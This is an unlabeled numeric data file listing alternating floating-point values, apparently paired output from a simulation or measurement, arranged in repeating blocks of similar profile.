2.10479e-05
-1.84312e-08
2.10508e-05
-1.45363e-08
2.10527e-05
-1.25613e-08
2.1055e-05
-9.88312e-09
2.10572e-05
-6.93258e-09
2.10603e-05
-1.92342e-09
2.10638e-05
3.08704e-09
2.10657e-05
8.45628e-09
2.10679e-05
9.78822e-09
2.10696e-05
1.62329e-08
2.10727e-05
1.95825e-08
2.10768e-05
2.97418e-08
2.10789e-05
3.47452e-08
2.10806e-05
3.77299e-08
2.10829e-05
4.19595e-08
2.1087e-05
4.98652e-08
2.10918e-05
5.84621e-08
2.10928e-05
6.55425e-08
2.10944e-05
6.31221e-08
2.10981e-05
6.97948e-08
2.11029e-05
7.76346e-08
2.11067e-05
8.6019e-08
2.11061e-05
8.66428e-08
2.1109e-05
8.50107e-08
2.11165e-05
9.4264e-08
2.11174e-05
1.09517e-07
2.11171e-05
1.01761e-07
2.11224e-05
1.02668e-07
2.11259e-05
1.14919e-07
2.1127e-05
1.23097e-07
2.11291e-05
1.1837e-07
2.11314e-05
1.2505e-07
2.11335e-05
1.2862e-07
2.11359e-05
1.34308e-07
2.11369e-05
1.32267e-07
2.11385e-05
1.35834e-07
2.11412e-05
1.34802e-07
2.11427e-05
1.40439e-07
2.11436e-05
1.3562e-07
2.11449e-05
1.38623e-07
2.11459e-05
1.33323e-07
2.11466e-05
1.3672e-07
2.1147e-05
1.31954e-07
2.11469e-05
1.38111e-07
2.11461e-05
1.27623e-07
2.11463e-05
1.31294e-07
2.11458e-05
1.2965e-07
2.11449e-05
1.34e-07
2.11442e-05
1.28514e-07
2.1144e-05
1.31025e-07
2.11437e-05
1.37032e-07
2.1143e-05
1.31913e-07
2.1143e-05
1.38943e-07
2.11428e-05
1.28334e-07
2.11422e-05
1.389e-07
2.11415e-05
1.18429e-07
2.11408e-05
1.29428e-07
2.11395e-05
1.07437e-07
2.11389e-05
1.19383e-07
2.11389e-05
9.86195e-08
2.11397e-05
1.08783e-07
2.11415e-05
8.66486e-08
2.11434e-05
8.76272e-08
2.1145e-05
6.64591e-08
2.11461e-05
5.9644e-08
2.1147e-05
3.70223e-08
2.11479e-05
3.66226e-08
2.11482e-05
1.03964e-08
2.11489e-05
7.15371e-11
2.11485e-05
-1.44227e-08
2.11476e-05
-3.39346e-08
2.11465e-05
-2.58867e-08
2.11446e-05
-3.10752e-08
2.1144e-05
-6.46365e-09
2.11441e-05
1.1324e-08
2.11436e-05
3.12479e-08
2.11465e-05
7.7169e-08
2.11502e-05
1.0656e-07
2.11535e-05
1.32656e-07
2.11568e-05
1.63014e-07
2.11583e-05
1.56644e-07
2.11607e-05
1.96522e-07
2.11641e-05
1.72166e-07
2.1169e-05
2.26031e-07
2.11692e-05
1.72441e-07
2.11655e-05
2.01329e-07
2.11596e-05
1.47769e-07
2.11547e-05
2.1968e-07
2.11514e-05
2.30056e-07
2.11504e-05
2.70111e-07
2.11535e-05
3.06621e-07
2.11533e-05
2.18176e-07
2.11525e-05
2.04422e-07
4.92536e-08
2.20474e-05
-3.40501e-08
2.20483e-05
-3.18726e-08
2.20496e-05
-3.07645e-08
2.20507e-05
-2.86715e-08
2.20525e-05
-2.72998e-08
2.2055e-05
-2.3399e-08
2.20572e-05
-2.05882e-08
2.20598e-05
-1.71959e-08
2.20618e-05
-1.45053e-08
2.20637e-05
-1.18174e-08
2.20659e-05
-9.14158e-09
2.20682e-05
-4.20543e-09
2.20717e-05
-3.67105e-10
2.20738e-05
6.33873e-09
2.20759e-05
7.71473e-09
2.20778e-05
1.42861e-08
2.208e-05
1.74199e-08
2.20839e-05
2.58174e-08
2.20864e-05
3.22413e-08
2.20882e-05
3.59661e-08
2.20905e-05
3.96651e-08
2.20933e-05
4.70236e-08
2.20983e-05
5.34629e-08
2.21007e-05
6.31689e-08
2.21016e-05
6.21814e-08
2.21049e-05
6.65032e-08
2.21088e-05
7.37331e-08
2.21134e-05
8.13916e-08
2.21148e-05
8.52694e-08
2.21149e-05
8.49188e-08
2.21219e-05
8.72058e-08
2.21261e-05
1.05336e-07
2.21243e-05
1.03556e-07
2.21281e-05
9.88935e-08
2.21335e-05
1.09496e-07
2.21346e-05
1.22057e-07
2.21362e-05
1.1679e-07
2.21393e-05
1.21929e-07
2.21411e-05
1.26829e-07
2.21437e-05
1.31693e-07
2.21455e-05
1.30442e-07
2.21467e-05
1.34648e-07
2.21493e-05
1.32239e-07
2.21516e-05
1.381e-07
2.21526e-05
1.3466e-07
2.21537e-05
1.37496e-07
2.21551e-05
1.31915e-07
2.2156e-05
1.35765e-07
2.21567e-05
1.31295e-07
2.21568e-05
1.38027e-07
2.21561e-05
1.2827e-07
2.21567e-05
1.30769e-07
2.21565e-05
1.29787e-07
2.21559e-05
1.34636e-07
2.21553e-05
1.29064e-07
2.21554e-05
1.30979e-07
2.21554e-05
1.37043e-07
2.21548e-05
1.325e-07
2.21549e-05
1.38867e-07
2.21549e-05
1.28288e-07
2.21545e-05
1.39296e-07
2.21539e-05
1.19036e-07
2.21535e-05
1.29865e-07
2.21525e-05
1.08424e-07
2.21522e-05
1.19649e-07
2.21523e-05
9.85808e-08
2.21531e-05
1.07946e-07
2.21547e-05
8.49968e-08
2.21566e-05
8.57928e-08
2.21581e-05
6.4945e-08
2.21592e-05
5.8532e-08
2.216e-05
3.61925e-08
2.21609e-05
3.57572e-08
2.2161e-05
1.02624e-08
2.21614e-05
-3.20142e-10
2.21609e-05
-1.3852e-08
2.21597e-05
-3.27354e-08
2.21583e-05
-2.4515e-08
2.2156e-05
-2.88383e-08
2.21552e-05
-5.62386e-09
2.21549e-05
1.16816e-08
2.21542e-05
3.18641e-08
2.21568e-05
7.46033e-08
2.21601e-05
1.03244e-07
2.21634e-05
1.29369e-07
2.21667e-05
1.59697e-07
2.21686e-05
1.54805e-07
2.21712e-05
1.93856e-07
2.21747e-05
1.68708e-07
2.21794e-05
2.21361e-07
2.21797e-05
1.72055e-07
2.21766e-05
2.04433e-07
2.21713e-05
1.53138e-07
2.21671e-05
2.23895e-07
2.21642e-05
2.32885e-07
2.21638e-05
2.70546e-07
2.21673e-05
3.03126e-07
2.21676e-05
2.17874e-07
2.21673e-05
2.04705e-07
4.9309e-08
2.3107e-05
-3.49127e-08
2.31078e-05
-3.27397e-08
2.31087e-05
-3.16413e-08
2.31098e-05
-2.97222e-08
2.31109e-05
-2.8412e-08
2.3113e-05
-2.55375e-08
2.3115e-05
-2.25366e-08
2.31172e-05
-1.94006e-08
2.31193e-05
-1.66072e-08
2.31208e-05
-1.3336e-08
2.31229e-05
-1.12832e-08
2.31248e-05
-6.07753e-09
2.31276e-05
-3.16246e-09
2.31301e-05
3.83096e-09
2.31319e-05
5.88658e-09
2.31341e-05
1.21185e-08
2.31358e-05
1.57187e-08
2.31391e-05
2.25134e-08
2.31421e-05
2.92771e-08
2.31437e-05
3.43163e-08
2.31462e-05
3.72139e-08
2.31484e-05
4.48369e-08
2.31525e-05
4.93188e-08
2.31563e-05
5.9429e-08
2.31571e-05
6.13249e-08
2.31599e-05
6.3691e-08
2.31635e-05
7.01712e-08
2.31675e-05
7.74137e-08
2.31711e-05
8.16601e-08
2.31706e-05
8.53971e-08
2.31749e-05
8.29373e-08
2.31818e-05
9.84116e-08
2.31809e-05
1.04438e-07
2.31819e-05
9.79035e-08
2.31884e-05
1.0297e-07
2.31908e-05
1.19723e-07
2.31913e-05
1.16269e-07
2.31949e-05
1.18318e-07
2.31971e-05
1.24569e-07
2.31993e-05
1.29518e-07
2.32019e-05
1.27818e-07
2.32035e-05
1.3314e-07
2.32053e-05
1.30378e-07
2.32083e-05
1.35135e-07
2.32098e-05
1.3314e-07
2.32107e-05
1.36633e-07
2.32122e-05
1.3041e-07
2.32136e-05
1.34376e-07
2.32146e-05
1.30269e-07
2.32149e-05
1.37659e-07
2.32144e-05
1.28794e-07
2.32152e-05
1.29962e-07
2.32155e-05
1.29497e-07
2.32151e-05
1.35083e-07
2.32146e-05
1.2951e-07
2.32149e-05
1.30686e-07
2.32153e-05
1.36706e-07
2.32148e-05
1.32913e-07
2.32151e-05
1.38632e-07
2.32153e-05
1.28041e-07
2.32152e-05
1.39378e-07
2.32148e-05
1.19523e-07
2.32146e-05
1.2998e-07
2.32139e-05
1.09164e-07
2.32139e-05
1.19618e-07
2.3214e-05
9.84669e-08
2.32149e-05
1.07059e-07
2.32164e-05
8.35282e-08
2.32182e-05
8.39869e-08
2.32196e-05
6.35827e-08
2.32207e-05
5.74373e-08
2.32214e-05
3.5433e-08
2.32222e-05
3.50047e-08
2.32222e-05
1.02433e-08
2.32223e-05
-3.73351e-10
2.32215e-05
-1.31225e-08
2.32199e-05
-3.11619e-08
2.32184e-05
-2.29694e-08
2.32158e-05
-2.62487e-08
2.32147e-05
-4.54501e-09
2.3214e-05
1.24649e-08
2.32132e-05
3.2597e-08
2.32154e-05
7.24064e-08
2.32184e-05
1.00296e-07
2.32216e-05
1.26177e-07
2.32249e-05
1.56376e-07
2.32271e-05
1.52613e-07
2.32299e-05
1.91006e-07
2.32334e-05
1.65235e-07
2.32378e-05
2.16904e-07
2.32384e-05
1.71518e-07
2.32359e-05
2.06878e-07
2.32312e-05
1.57913e-07
2.32277e-05
2.2732e-07
2.32254e-05
2.35176e-07
2.32256e-05
2.70418e-07
2.32294e-05
2.99257e-07
2.32303e-05
2.17067e-07
2.32305e-05
2.04407e-07
4.95107e-08
2.42172e-05
-3.54128e-08
2.4218e-05
-3.34792e-08
2.42186e-05
-3.22725e-08
2.42195e-05
-3.06169e-08
2.42202e-05
-2.91651e-08
2.42217e-05
-2.69814e-08
2.42235e-05
-2.43229e-08
2.42252e-05
-2.11126e-08
2.42273e-05
-1.87069e-08
2.42287e-05
-1.47589e-08
2.42305e-05
-1.31001e-08
2.42323e-05
-7.86495e-09
2.42344e-05
-5.22343e-09
2.42369e-05
1.30079e-09
2.42386e-05
4.16422e-09
2.42408e-05
9.95424e-09
2.42425e-05
1.40339e-08
2.42449e-05
2.00448e-08
2.42481e-05
2.60756e-08
2.42498e-05
3.26501e-08
2.42521e-05
3.49117e-08
2.42544e-05
4.24968e-08
2.42574e-05
4.63757e-08
2.42617e-05
5.50694e-08
2.42633e-05
5.9731e-08
2.42653e-05
6.17357e-08
2.4269e-05
6.64933e-08
2.4272e-05
7.43411e-08
2.42765e-05
7.72279e-08
2.42776e-05
8.42535e-08
2.42789e-05
8.16364e-08
2.42862e-05
9.1091e-08
2.42883e-05
1.02354e-07
2.42871e-05
9.91748e-08
2.42927e-05
9.72816e-08
2.42973e-05
1.15125e-07
2.42973e-05
1.16275e-07
2.43004e-05
1.15254e-07
2.43037e-05
1.21307e-07
2.43055e-05
1.2767e-07
2.43082e-05
1.25096e-07
2.43107e-05
1.30621e-07
2.43121e-05
1.29032e-07
2.4315e-05
1.32267e-07
2.43174e-05
1.30656e-07
2.43184e-05
1.35702e-07
2.43196e-05
1.29157e-07
2.43213e-05
1.32657e-07
2.43229e-05
1.28739e-07
2.43235e-05
1.36998e-07
2.43231e-05
1.29271e-07
2.43241e-05
1.28936e-07
2.4325e-05
1.28589e-07
2.43249e-05
1.35204e-07
2.43246e-05
1.2983e-07
2.43251e-05
1.30173e-07
2.43258e-05
1.36028e-07
2.43255e-05
1.33152e-07
2.43259e-05
1.38219e-07
2.43263e-05
1.27654e-07
2.43266e-05
1.39091e-07
2.43263e-05
1.19847e-07
2.43265e-05
1.29769e-07
2.4326e-05
1.09666e-07
2.43264e-05
1.1923e-07
2.43266e-05
9.82654e-08
2.43275e-05
1.0611e-07
2.43288e-05
8.22283e-08
2.43305e-05
8.22783e-08
2.43318e-05
6.2317e-08
2.43328e-05
5.64793e-08
2.43335e-05
3.46823e-08
2.43341e-05
3.44012e-08
2.4334e-05
1.03327e-08
2.43337e-05
-2.3543e-11
2.43328e-05
-1.22872e-08
2.43309e-05
-2.92155e-08
2.43291e-05
-2.1184e-08
2.43262e-05
-2.33556e-08
2.43248e-05
-3.12441e-09
2.43237e-05
1.35882e-08
2.43227e-05
3.35291e-08
2.43246e-05
7.04938e-08
2.43272e-05
9.77556e-08
2.43303e-05
1.23016e-07
2.43336e-05
1.53142e-07
2.4336e-05
1.50158e-07
2.4339e-05
1.88009e-07
2.43425e-05
1.61776e-07
2.43469e-05
2.12524e-07
2.43475e-05
1.70866e-07
2.43457e-05
2.08677e-07
2.43415e-05
1.62139e-07
2.43389e-05
2.29949e-07
2.43372e-05
2.36817e-07
2.4338e-05
2.69648e-07
2.43424e-05
2.94875e-07
2.43437e-05
2.15772e-07
2.43445e-05
2.03558e-07
4.99004e-08
2.53804e-05
-3.5574e-08
2.53809e-05
-3.40174e-08
2.53814e-05
-3.27669e-08
2.53821e-05
-3.13374e-08
2.53828e-05
-2.98354e-08
2.53837e-05
-2.79224e-08
2.53852e-05
-2.57518e-08
2.53866e-05
-2.25058e-08
2.53882e-05
-2.03446e-08
2.53896e-05
-1.61956e-08
2.5391e-05
-1.44649e-08
2.53928e-05
-9.61658e-09
2.53945e-05
-6.9316e-09
2.53966e-05
-8.62133e-10
2.53984e-05
2.37303e-09
2.54003e-05
8.08497e-09
2.54021e-05
1.22032e-08
2.54039e-05
1.82455e-08
2.54069e-05
2.30809e-08
2.54089e-05
3.06316e-08
2.54108e-05
3.30226e-08
2.54134e-05
3.98787e-08
2.54156e-05
4.41929e-08
2.54196e-05
5.11422e-08
2.54223e-05
5.69806e-08
2.54237e-05
6.0346e-08
2.54272e-05
6.29358e-08
2.54301e-05
7.14558e-08
2.54339e-05
7.35096e-08
2.54371e-05
8.10177e-08
2.54373e-05
8.14467e-08
2.54427e-05
8.57028e-08
2.54478e-05
9.72334e-08
2.54464e-05
1.00587e-07
2.54495e-05
9.4112e-08
2.54559e-05
1.08782e-07
2.54568e-05
1.15403e-07
2.54586e-05
1.13372e-07
2.54627e-05
1.17276e-07
2.5465e-05
1.25366e-07
2.54671e-05
1.22993e-07
2.54705e-05
1.27215e-07
2.54722e-05
1.27362e-07
2.54743e-05
1.30139e-07
2.54775e-05
1.27476e-07
2.54791e-05
1.34023e-07
2.548e-05
1.28262e-07
2.54818e-05
1.30854e-07
2.5484e-05
1.26532e-07
2.54852e-05
1.3589e-07
2.54847e-05
1.2975e-07
2.54857e-05
1.27908e-07
2.54872e-05
1.27054e-07
2.54875e-05
1.34988e-07
2.54873e-05
1.29997e-07
2.5488e-05
1.29416e-07
2.54892e-05
1.34904e-07
2.54892e-05
1.3312e-07
2.54899e-05
1.37496e-07
2.54905e-05
1.27087e-07
2.54911e-05
1.38495e-07
2.5491e-05
1.19982e-07
2.54915e-05
1.29268e-07
2.54912e-05
1.09936e-07
2.54918e-05
1.18585e-07
2.54922e-05
9.79289e-08
2.54931e-05
1.05137e-07
2.54943e-05
8.10186e-08
2.5496e-05
8.06596e-08
2.54972e-05
6.1119e-08
2.54979e-05
5.57023e-08
2.54986e-05
3.40359e-08
2.5499e-05
3.39631e-08
2.54988e-05
1.05576e-08
2.54981e-05
7.2311e-10
2.54971e-05
-1.13101e-08
2.54947e-05
-2.68826e-08
2.54927e-05
-1.91681e-08
2.54896e-05
-2.02463e-08
2.54879e-05
-1.42686e-09
2.54865e-05
1.50211e-08
2.54853e-05
3.46784e-08
2.54869e-05
6.88956e-08
2.5489e-05
9.56633e-08
2.54921e-05
1.19935e-07
2.54953e-05
1.49964e-07
2.5498e-05
1.47485e-07
2.55011e-05
1.84903e-07
2.55044e-05
1.58397e-07
2.55087e-05
2.08254e-07
2.55095e-05
1.70117e-07
2.55084e-05
2.09694e-07
2.55048e-05
1.65764e-07
2.5503e-05
2.31724e-07
2.55021e-05
2.37806e-07
2.55034e-05
2.68272e-07
2.55083e-05
2.90022e-07
2.55101e-05
2.13913e-07
2.55116e-05
2.0212e-07
5.04422e-08
2.65991e-05
-3.53647e-08
2.65994e-05
-3.42834e-08
2.65996e-05
-3.29514e-08
2.66001e-05
-3.18516e-08
2.66006e-05
-3.03491e-08
2.66014e-05
-2.86782e-08
2.66025e-05
-2.68423e-08
2.66038e-05
-2.38092e-08
2.66051e-05
-2.16726e-08
2.66064e-05
-1.75541e-08
2.66075e-05
-1.54927e-08
2.66088e-05
-1.09171e-08
2.66102e-05
-8.34173e-09
2.66119e-05
-2.54391e-09
2.66136e-05
6.20841e-10
2.66153e-05
6.39285e-09
2.66172e-05
1.0329e-08
2.66188e-05
1.66622e-08
2.66211e-05
2.07158e-08
2.66235e-05
2.82569e-08
2.6625e-05
3.14989e-08
2.66276e-05
3.73569e-08
2.66297e-05
4.20113e-08
2.66328e-05
4.80908e-08
2.66363e-05
5.34504e-08
2.66378e-05
5.88501e-08
2.66406e-05
6.01046e-08
2.6644e-05
6.81148e-08
2.66467e-05
7.08127e-08
2.66509e-05
7.68264e-08
2.6652e-05
8.03616e-08
2.66548e-05
8.2898e-08
2.66611e-05
9.08523e-08
2.66617e-05
1.00074e-07
2.66623e-05
9.34425e-08
2.66688e-05
1.02312e-07
2.66716e-05
1.12585e-07
2.66726e-05
1.12357e-07
2.66765e-05
1.13438e-07
2.66798e-05
1.22022e-07
2.66815e-05
1.21308e-07
2.6685e-05
1.23732e-07
2.66878e-05
1.24562e-07
2.66894e-05
1.28549e-07
2.66924e-05
1.24468e-07
2.66952e-05
1.31187e-07
2.66961e-05
1.27374e-07
2.66974e-05
1.29539e-07
2.67003e-05
1.23665e-07
2.67022e-05
1.34026e-07
2.67018e-05
1.30076e-07
2.67028e-05
1.26965e-07
2.67049e-05
1.24904e-07
2.67057e-05
1.34243e-07
2.67055e-05
1.30111e-07
2.67065e-05
1.28495e-07
2.6708e-05
1.33412e-07
2.67082e-05
1.32875e-07
2.67092e-05
1.36484e-07
2.67101e-05
1.26204e-07
2.67111e-05
1.37531e-07
2.67112e-05
1.19834e-07
2.6712e-05
1.28433e-07
2.67121e-05
1.09924e-07
2.6713e-05
1.17663e-07
2.67135e-05
9.74023e-08
2.67145e-05
1.04153e-07
2.67156e-05
7.99438e-08
2.6717e-05
7.92298e-08
2.67182e-05
5.99205e-08
2.67187e-05
5.51905e-08
2.67193e-05
3.34097e-08
2.67196e-05
3.36766e-08
2.67193e-05
1.0926e-08
2.67181e-05
1.91488e-09
2.6717e-05
-1.02275e-08
2.67143e-05
-2.42255e-08
2.67119e-05
-1.6782e-08
2.67086e-05
-1.6883e-08
2.67064e-05
7.19163e-10
2.67048e-05
1.66681e-08
2.67033e-05
3.61231e-08
2.67047e-05
6.75254e-08
2.67064e-05
9.39806e-08
2.67094e-05
1.16919e-07
2.67125e-05
1.46897e-07
2.67152e-05
1.44734e-07
2.67185e-05
1.81614e-07
2.67217e-05
1.55173e-07
2.67261e-05
2.03929e-07
2.67268e-05
1.69329e-07
2.67265e-05
2.1004e-07
2.67235e-05
1.6879e-07
2.67225e-05
2.32649e-07
2.67224e-05
2.3794e-07
2.67245e-05
2.66183e-07
2.673e-05
2.84542e-07
2.67323e-05
2.11586e-07
2.67343e-05
2.00157e-07
5.11939e-08
2.78762e-05
-3.49861e-08
2.78764e-05
-3.4449e-08
2.78764e-05
-3.29273e-08
2.78766e-05
-3.20806e-08
2.78768e-05
-3.05854e-08
2.78772e-05
-2.90648e-08
2.78779e-05
-2.74987e-08
2.78788e-05
-2.47048e-08
2.78799e-05
-2.28265e-08
2.78812e-05
-1.87872e-08
2.78824e-05
-1.67164e-08
2.78835e-05
-1.19875e-08
2.78847e-05
-9.54421e-09
2.78859e-05
-3.73939e-09
2.78872e-05
-7.14211e-10
2.78885e-05
5.0442e-09
2.78901e-05
8.77501e-09
2.78917e-05
1.50327e-08
2.78935e-05
1.89581e-08
2.78959e-05
2.57971e-08
2.78976e-05
2.98418e-08
2.78997e-05
3.52392e-08
2.79021e-05
3.95978e-08
2.79044e-05
4.57795e-08
2.79079e-05
5.00035e-08
2.79101e-05
5.66104e-08
2.79122e-05
5.8049e-08
2.79158e-05
6.45165e-08
2.79181e-05
6.85278e-08
2.79218e-05
7.30517e-08
2.79245e-05
7.76641e-08
2.79259e-05
8.15397e-08
2.79315e-05
8.52239e-08
2.79346e-05
9.69735e-08
2.79343e-05
9.38122e-08
2.79393e-05
9.72952e-08
2.79439e-05
1.07991e-07
2.79451e-05
1.11119e-07
2.79482e-05
1.10361e-07
2.79523e-05
1.17929e-07
2.79543e-05
1.19261e-07
2.79572e-05
1.20897e-07
2.79609e-05
1.20831e-07
2.7963e-05
1.2646e-07
2.79652e-05
1.22275e-07
2.79689e-05
1.27485e-07
2.79707e-05
1.25564e-07
2.79713e-05
1.28951e-07
2.79743e-05
1.20623e-07
2.79772e-05
1.31161e-07
2.79771e-05
1.30194e-07
2.79776e-05
1.2638e-07
2.79804e-05
1.22189e-07
2.79819e-05
1.32739e-07
2.7982e-05
1.29992e-07
2.7983e-05
1.27429e-07
2.79851e-05
1.31385e-07
2.79856e-05
1.32333e-07
2.79868e-05
1.35295e-07
2.7988e-05
1.25008e-07
2.79892e-05
1.36287e-07
2.79896e-05
1.19511e-07
2.79907e-05
1.27321e-07
2.7991e-05
1.09602e-07
2.79921e-05
1.16555e-07
2.79929e-05
9.66035e-08
2.79939e-05
1.03119e-07
2.7995e-05
7.88906e-08
2.79963e-05
7.78969e-08
2.79975e-05
5.8703e-08
2.79978e-05
5.49392e-08
2.79982e-05
3.2993e-08
2.79984e-05
3.35413e-08
2.79977e-05
1.15657e-08
2.79962e-05
3.42753e-09
2.79948e-05
-8.87599e-09
2.79919e-05
-2.12558e-08
2.79891e-05
-1.40465e-08
2.79858e-05
-1.35122e-08
2.79833e-05
3.21757e-09
2.79814e-05
1.85072e-08
2.79797e-05
3.78428e-08
2.79808e-05
6.6473e-08
2.7982e-05
9.27456e-08
2.79849e-05
1.14042e-07
2.79879e-05
1.43889e-07
2.79907e-05
1.41955e-07
2.79941e-05
1.78196e-07
2.79971e-05
1.52178e-07
2.80014e-05
1.99625e-07
2.80023e-05
1.68424e-07
2.80027e-05
2.09633e-07
2.80004e-05
1.71131e-07
2.80002e-05
2.32795e-07
2.80008e-05
2.37315e-07
2.80036e-05
2.63402e-07
2.80096e-05
2.78551e-07
2.80126e-05
2.08589e-07
2.80152e-05
1.97589e-07
5.21014e-08
2.92138e-05
-3.46018e-08
2.92138e-05
-3.44788e-08
2.9214e-05
-3.3112e-08
2.92142e-05
-3.22946e-08
2.92146e-05
-3.09857e-08
2.92149e-05
-2.92888e-08
2.92153e-05
-2.7948e-08
2.92157e-05
-2.50553e-08
2.92163e-05
-2.34265e-08
2.92169e-05
-1.94309e-08
2.92177e-05
-1.74941e-08
2.92186e-05
-1.28729e-08
2.92196e-05
-1.05439e-08
2.9221e-05
-5.13643e-09
2.92218e-05
-1.58488e-09
2.92232e-05
3.64266e-09
2.92244e-05
7.57516e-09
2.92259e-05
1.3547e-08
2.92273e-05
1.75748e-08
2.92293e-05
2.38169e-08
2.92311e-05
2.79893e-08
2.92327e-05
3.36638e-08
2.92351e-05
3.71557e-08
2.92373e-05
4.3609e-08
2.92402e-05
4.71046e-08
2.92431e-05
5.37155e-08
2.92448e-05
5.63784e-08
2.92481e-05
6.12186e-08
2.92507e-05
6.59342e-08
2.92536e-05
7.01633e-08
2.92572e-05
7.40238e-08
2.92587e-05
8.00887e-08
2.92626e-05
8.12977e-08
2.92673e-05
9.221e-08
2.92676e-05
9.35926e-08
2.92707e-05
9.41302e-08
2.92762e-05
1.02562e-07
2.92784e-05
1.08897e-07
2.92809e-05
1.07807e-07
2.9285e-05
1.13846e-07
2.9288e-05
1.16269e-07
2.92904e-05
1.18458e-07
2.92941e-05
1.17133e-07
2.92974e-05
1.23155e-07
2.92991e-05
1.20639e-07
2.93026e-05
1.24014e-07
2.93059e-05
1.22215e-07
2.93062e-05
1.28612e-07
2.93087e-05
1.18159e-07
2.93129e-05
1.26989e-07
2.93136e-05
1.29474e-07
2.93136e-05
1.26366e-07
2.93165e-05
1.19266e-07
2.93189e-05
1.30384e-07
2.93192e-05
1.29681e-07
2.93203e-05
1.2637e-07
2.93227e-05
1.28927e-07
2.93238e-05
1.31211e-07
2.93252e-05
1.33958e-07
2.93268e-05
1.2336e-07
2.93286e-05
1.34515e-07
2.93293e-05
1.18847e-07
2.93306e-05
1.25981e-07
2.93313e-05
1.08948e-07
2.93324e-05
1.15368e-07
2.93335e-05
9.55578e-08
2.93346e-05
1.02006e-07
2.93354e-05
7.80815e-08
2.93365e-05
7.67796e-08
2.93378e-05
5.74608e-08
2.93378e-05
5.4905e-08
2.93381e-05
3.26888e-08
2.93382e-05
3.34177e-08
2.93374e-05
1.24268e-08
2.93355e-05
5.26327e-09
2.9334e-05
-7.33523e-09
2.93308e-05
-1.80471e-08
2.93276e-05
-1.08152e-08
2.93239e-05
-9.84143e-09
2.93209e-05
6.15982e-09
2.93189e-05
2.05904e-08
2.93168e-05
3.98654e-08
2.93176e-05
6.57367e-08
2.93185e-05
9.17929e-08
2.93212e-05
1.11388e-07
2.93242e-05
1.40911e-07
2.93268e-05
1.39327e-07
2.93304e-05
1.74536e-07
2.93332e-05
1.49408e-07
2.93376e-05
1.95237e-07
2.93386e-05
1.67415e-07
2.93396e-05
2.08636e-07
2.9338e-05
1.7277e-07
2.93387e-05
2.32069e-07
2.93403e-05
2.35706e-07
2.93439e-05
2.5984e-07
2.93505e-05
2.71927e-07
2.93539e-05
2.05159e-07
2.9357e-05
1.9454e-07
5.32173e-08
3.0615e-05
-3.41301e-08
3.06146e-05
-3.41059e-08
3.06148e-05
-3.32463e-08
3.06148e-05
-3.23207e-08
3.06153e-05
-3.14945e-08
3.06157e-05
-2.97125e-08
3.06164e-05
-2.85934e-08
3.0617e-05
-2.56953e-08
3.06175e-05
-2.39468e-08
3.06182e-05
-2.01107e-08
3.06184e-05
-1.77096e-08
3.06189e-05
-1.33317e-08
3.06187e-05
-1.04031e-08
3.06195e-05
-5.87349e-09
3.06201e-05
-2.17623e-09
3.06209e-05
2.82239e-09
3.06219e-05
6.56128e-09
3.06232e-05
1.22915e-08
3.06247e-05
1.6024e-08
3.06262e-05
2.23004e-08
3.06283e-05
2.58748e-08
3.06299e-05
3.20991e-08
3.06321e-05
3.50108e-08
3.06344e-05
4.12966e-08
3.06366e-05
4.48712e-08
3.06397e-05
5.06185e-08
3.06416e-05
5.44782e-08
3.06442e-05
5.85854e-08
3.06472e-05
6.30012e-08
3.06495e-05
6.78724e-08
3.0653e-05
7.04309e-08
3.06554e-05
7.77182e-08
3.06579e-05
7.87774e-08
3.0663e-05
8.71415e-08
3.06647e-05
9.18544e-08
3.06666e-05
9.23024e-08
3.06718e-05
9.73339e-08
3.06751e-05
1.05641e-07
3.06777e-05
1.05176e-07
3.06814e-05
1.10173e-07
3.0685e-05
1.12601e-07
3.06878e-05
1.15675e-07
3.06909e-05
1.14049e-07
3.06952e-05
1.18855e-07
3.06974e-05
1.1842e-07
3.06999e-05
1.2157e-07
3.07044e-05
1.17648e-07
3.07056e-05
1.27428e-07
3.07067e-05
1.1711e-07
3.07116e-05
1.22076e-07
3.07138e-05
1.27206e-07
3.07133e-05
1.26933e-07
3.07161e-05
1.16406e-07
3.07196e-05
1.26891e-07
3.07205e-05
1.28822e-07
3.07215e-05
1.25318e-07
3.07242e-05
1.26253e-07
3.07259e-05
1.29472e-07
3.07273e-05
1.32609e-07
3.07291e-05
1.21593e-07
3.07313e-05
1.3226e-07
3.07322e-05
1.17959e-07
3.07338e-05
1.24406e-07
3.07349e-05
1.07787e-07
3.07363e-05
1.14003e-07
3.07376e-05
9.42304e-08
3.07391e-05
1.0057e-07
3.07398e-05
7.73059e-08
3.07409e-05
7.57228e-08
3.07422e-05
5.61527e-08
3.0742e-05
5.51077e-08
3.07419e-05
3.27549e-08
3.07419e-05
3.3421e-08
3.07406e-05
1.37307e-08
3.07386e-05
7.33984e-09
3.07366e-05
-5.3723e-09
3.07331e-05
-1.45655e-08
3.07295e-05
-7.20668e-09
3.07259e-05
-6.24166e-09
3.07226e-05
9.43505e-09
3.07204e-05
2.28539e-08
3.07181e-05
4.20802e-08
3.07185e-05
6.54269e-08
3.07191e-05
9.11527e-08
3.07215e-05
1.09023e-07
3.07244e-05
1.37972e-07
3.07269e-05
1.36802e-07
3.07307e-05
1.70784e-07
3.07332e-05
1.46887e-07
3.07375e-05
1.90932e-07
3.07388e-05
1.66168e-07
3.07404e-05
2.06994e-07
3.07395e-05
1.737e-07
3.07409e-05
2.30605e-07
3.07433e-05
2.33316e-07
3.07477e-05
2.55455e-07
3.07549e-05
2.64728e-07
3.07591e-05
2.00986e-07
3.07627e-05
1.90875e-07
5.45106e-08
3.20838e-05
-3.37715e-08
3.20834e-05
-3.36918e-08
3.20833e-05
-3.3193e-08
3.20832e-05
-3.21584e-08
3.20832e-05
-3.15184e-08
3.20835e-05
-3.00048e-08
3.20837e-05
-2.87928e-08
3.20842e-05
-2.62392e-08
3.20844e-05
-2.41222e-08
3.20852e-05
-2.09191e-08
3.20855e-05
-1.80162e-08
3.20863e-05
-1.40629e-08
3.20864e-05
-1.0547e-08
3.20869e-05
-6.33947e-09
3.20872e-05
-2.47411e-09
3.20875e-05
2.51826e-09
3.20883e-05
5.74922e-09
3.20889e-05
1.17154e-08
3.209e-05
1.48427e-08
3.2091e-05
2.1299e-08
3.20926e-05
2.42976e-08
3.20941e-05
3.05822e-08
3.20956e-05
3.35479e-08
3.20979e-05
3.90216e-08
3.20998e-05
4.29864e-08
3.21024e-05
4.79528e-08
3.21047e-05
5.21693e-08
3.21068e-05
5.65202e-08
3.21098e-05
5.99489e-08
3.21121e-05
6.56047e-08
3.21151e-05
6.74615e-08
3.21184e-05
7.44248e-08
3.21204e-05
7.67979e-08
3.21248e-05
8.26633e-08
3.21281e-05
8.86039e-08
3.21295e-05
9.08611e-08
3.21341e-05
9.27935e-08
3.21381e-05
